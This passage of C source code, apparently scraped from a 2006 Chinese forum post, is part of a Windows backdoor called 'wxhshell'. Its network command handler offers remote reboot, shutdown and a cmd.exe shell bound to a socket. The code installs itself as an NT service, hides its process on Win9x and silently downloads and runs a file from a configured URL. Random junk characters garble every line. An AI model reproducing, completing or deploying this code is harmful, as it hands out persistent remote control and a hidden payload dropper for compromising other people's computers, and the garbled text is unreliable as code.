      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >) u;X  
    break; ]JjS$VMauX  
  } Q?i_Nl/|  
  // 安装 } +}nrJv  
  case 'i': { @  W>@6E  
    if(Install()) @01.Pd   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B18BwY  
    else |${4sUR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P!W%KobZ7|  
    break; 22ON=NN  
    } +PjTT6  
  // 卸载 <"5l<E  
  case 'r': { qU !dg  
    if(Uninstall()) bW6| &P}X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %6320 x  
    else lH4Nbluc^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Lgea  
    break; k9}8xpH  
    } X\h.@+f=  
  // 显示 wxhshell 所在路径 9jTBLp-i#N  
  case 'p': { 7H Dc]&z  
    char svExeFile[MAX_PATH]; o'#& =h$_  
    strcpy(svExeFile,"\n\r"); * @4@eQF  
      strcat(svExeFile,ExeFile); ;#85 _/  
        send(wsh,svExeFile,strlen(svExeFile),0); <{kPa_`'  
    break; e,xL~P{|  
    } <-v zS;  
  // 重启 LS[o7!T(  
  case 'b': { jw:z2:0~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rkjnw@x\  
    if(Boot(REBOOT)) CM_hN>%w[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ']1n?K=A  
    else { Kz"3ba}KH  
    closesocket(wsh); <Q~N9W  
    ExitThread(0); ,ErfTg&^  
    } ?XHQdN3e  
    break; G ?$ @6  
    } o pTXI*QA  
  // 关机 !q2zuxq!R  
  case 'd': { `j>5W<5q\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y"mFUW4  
    if(Boot(SHUTDOWN)) ;;,7Jon2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G4@r_VP\  
    else { Z\nDR|3  
    closesocket(wsh); l r&7 qu  
    ExitThread(0); spV7\Gs.@  
    } /}m)FaAi  
    break; mXRkR.zu+  
    } 1B4Qj`:+0  
  // 获取shell x(Bt[=,K3  
  case 's': { o]<Z3)  
    CmdShell(wsh); CPOH qK`k  
    closesocket(wsh); KoERg&fY  
    ExitThread(0); J~2SGXH)^?  
    break; H>C bMz1u  
  } = QBvU)Ki  
  // 退出 l8oaDL\f  
  case 'x': { 8ZY]-%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D~C'1C&W  
    CloseIt(wsh); _9h$8(wjn  
    break; uV5uZ  
    } ?@'&<o0p#  
  // 离开 \l59/ZFan  
  case 'q': { O52 /fGt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YbZbA >|  
    closesocket(wsh); VhO%4[Jl  
    WSACleanup(); /.SG? 5t4  
    exit(1); GKt."[seV  
    break; j .q}OK  
        }  pQiC#4b  
  } ,Pa*; o\  
  } bIU.C|h@  
2o SM|  
  // 提示信息 {:1j>4m 2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;XN|dq  
} dbby.%  
  } {M**a  
KwL_ae6fV  
  return; zy,SL |6:  
} *z~,|DQ(A  
3}|[<^$  
// shell模块句柄 F rc  kA  
int CmdShell(SOCKET sock) K0gQr.J53  
{ ;5tOQ&p%v  
STARTUPINFO si; 4LTm&+(5  
ZeroMemory(&si,sizeof(si)); g{'f%bkG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '7?Y+R@|L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >5FTB e[D  
PROCESS_INFORMATION ProcessInfo; 4}H+hk8-  
char cmdline[]="cmd";  @lN\.O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -EiTP:A  
  return 0; ^\}qq>_  
} E{\CE1*  
~F,~^r!Jtu  
// 自身启动模式 OijuOLt  
int StartFromService(void) 7P<VtS  
{ JWb +  
typedef struct &ksuk9M  
{ ;E.]:Ia~  
  DWORD ExitStatus; kE:[6reG  
  DWORD PebBaseAddress; !UoA6C:  
  DWORD AffinityMask; q/b+V)V  
  DWORD BasePriority; *V2;ds.~  
  ULONG UniqueProcessId; l2Sar1~1  
  ULONG InheritedFromUniqueProcessId; 5Y *4a%"  
}   PROCESS_BASIC_INFORMATION; {[!<yUJ`S#  
WGv47i  
PROCNTQSIP NtQueryInformationProcess; n#">k%bD  
GQbr}xX. #  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; " aG6u^%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <wS J K  
;^ME  
  HANDLE             hProcess; j.&dHtp  
  PROCESS_BASIC_INFORMATION pbi; Q5ASN"_  
e4z~   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MqZ"Js  
  if(NULL == hInst ) return 0; ia5%  
tc'iKJ5)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A$@;Q5/2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p7|I>8ur.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NVM_.vL  
LACrg  
  if (!NtQueryInformationProcess) return 0; @7nZjrH  
D)PX|xrn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,?8a3%  
  if(!hProcess) return 0; eke[{%L  
a}@b2Wc*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3= =["hO  
QGpj$ _b  
  CloseHandle(hProcess); ;KQU% k$  
)Eozo4~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q9vND[BQ  
if(hProcess==NULL) return 0; q1VKoKb6\:  
4V:W 8k 9D  
HMODULE hMod; NMkP#s7.y  
char procName[255]; ql@2<V{  
unsigned long cbNeeded; d_,Mylk  
S>dHBR#AD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @}q, ';H7  
]H/,Q6Q  
  CloseHandle(hProcess); /l7 %x.  
)xcjQkb  
if(strstr(procName,"services")) return 1; // 以服务启动 ?6_]^:s  
=aVvv+T  
  return 0; // 注册表启动 #2^0z`-\_z  
} p7YYAh@x\  
('7?"npd  
// 主模块 r-T1^u  
int StartWxhshell(LPSTR lpCmdLine) 4 ?BQ&d  
{ C|]c#X2t3  
  SOCKET wsl; /H<{p$Wd  
BOOL val=TRUE; FsqH:I4O  
  int port=0; 3V]dl)en%  
  struct sockaddr_in door; ;!HQ!#B  
8U@f/ P  
  if(wscfg.ws_autoins) Install(); Vs"b  
;}Jv4Z  
port=atoi(lpCmdLine); %X_A#9  
qXtC7uNj$  
if(port<=0) port=wscfg.ws_port; a~yiLq  
Sd6O?&(  
  WSADATA data; QDxs+<#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Py*WHHO  
B*G]Dr)e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S5JM t;O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {e&fBX6;  
  door.sin_family = AF_INET; q&:7R .Ci  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R_j.k3r4d  
  door.sin_port = htons(port); [lIX&!T"  
i5r<CxS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o+x%q<e;c  
closesocket(wsl); ;I5P<7VW  
return 1; x6K_!L*Fx]  
} FtJaX])b  
7z$53z  
  if(listen(wsl,2) == INVALID_SOCKET) { S(3h{Y"#  
closesocket(wsl); E0qJ.v  
return 1; 3sV$#l P  
} =RUy4+0>F  
  Wxhshell(wsl); F+Kju2  
  WSACleanup(); HxK'u4I  
;8#6da,  
return 0; GipiO5)1C  
X#T|.mCdC  
} 6c+29@  
Pac ^=|h<q  
// 以NT服务方式启动 h HHR]e5:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,%Z&*/*Oh  
{ "L5w]6C4  
DWORD   status = 0; r Hq1%)B  
  DWORD   specificError = 0xfffffff; ;r2DQg"#@  
f IV"U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C1A  X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uNy-r`vg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ->qRGUW  
  serviceStatus.dwWin32ExitCode     = 0; JRBz/ j  
  serviceStatus.dwServiceSpecificExitCode = 0; + _ehzo97  
  serviceStatus.dwCheckPoint       = 0; 12i`82>;  
  serviceStatus.dwWaitHint       = 0; k|xmZA*  
DzhLb8k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); * 0K]/tn<  
  if (hServiceStatusHandle==0) return; 9V)cf  
)*%uG{h  
status = GetLastError(); Sy?^+JdM/  
  if (status!=NO_ERROR) trwo(p  
{ c2V_|oL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kPOk.F%)  
    serviceStatus.dwCheckPoint       = 0; HpbwW=;V  
    serviceStatus.dwWaitHint       = 0; TS#1+f]9J<  
    serviceStatus.dwWin32ExitCode     = status; =_&,^h@'3e  
    serviceStatus.dwServiceSpecificExitCode = specificError; idBd aZg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n jd2  
    return; 1f3g5y'z5  
  } k4&adX@Y  
3B[tbU(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dDiy_Q6  
  serviceStatus.dwCheckPoint       = 0; &pl)E$Y  
  serviceStatus.dwWaitHint       = 0; <.g)?nj1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <Y /3U  
} 5<X"+`=9  
>l}v _k*~B  
// 处理NT服务事件,比如:启动、停止 L7- JK3/E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %D-!< )z  
{ ral=`/p  
switch(fdwControl) qKXg'1#E)  
{ 1grcCL q  
case SERVICE_CONTROL_STOP: Y".?j5f?  
  serviceStatus.dwWin32ExitCode = 0; Mb_"M7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %Lx#7bR U  
  serviceStatus.dwCheckPoint   = 0; 1$))@K-I  
  serviceStatus.dwWaitHint     = 0; Q~^v=ye  
  { &hVf=We  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,P`:`XQ>_B  
  } [)}`w;#  
  return; UptKN|S&V  
case SERVICE_CONTROL_PAUSE: Fu?_<G%Ynp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eOVln1a  
  break; c&#Q`m  
case SERVICE_CONTROL_CONTINUE: GwgY{-|`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  pb<eg,  
  break; Q_/UC#I8  
case SERVICE_CONTROL_INTERROGATE: Oc~<`C~  
  break; ,X| >d  
}; y2g)*T!m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r,|}^u8`  
}  ]x1ba_  
K\}qY dPF  
// 标准应用程序主函数 C^JtJv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U0|wC,7"  
{ WO69Wo\C  
M$v\7vBgO!  
// 获取操作系统版本 Ai%Wt-  
OsIsNt=GetOsVer(); ! .Pbbs%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H5vg s2R  
*` -  
  // 从命令行安装 q%s<y+  
  if(strpbrk(lpCmdLine,"iI")) Install(); t`6~ ud>  
`j2|aX %Z*  
  // 下载执行文件 `,FA3boE  
if(wscfg.ws_downexe) { =J-&usX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) % T$!I(L&  
  WinExec(wscfg.ws_filenam,SW_HIDE); *ax&}AHK[/  
} }uD*\.  
cor!Sa>  
if(!OsIsNt) { 2e,cE6r  
// 如果时win9x,隐藏进程并且设置为注册表启动 laCVj6Rk  
HideProc(); Zz|et206  
StartWxhshell(lpCmdLine); }!kvoV)]1  
} Yg!fEopLb  
else GOCe&?  
  if(StartFromService()) k:U%#rb;  
  // 以服务方式启动 pcQzvLk  
  StartServiceCtrlDispatcher(DispatchTable); 0CeBU(U+|R  
else  fsKZ  
  // 普通方式启动  ^AwDZX  
  StartWxhshell(lpCmdLine); @ uL4'@Ej  
Rs]Y/9F;{  
return 0; rb.:(d)T  
}
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只看该作者 1 发表于: 2006-10-10
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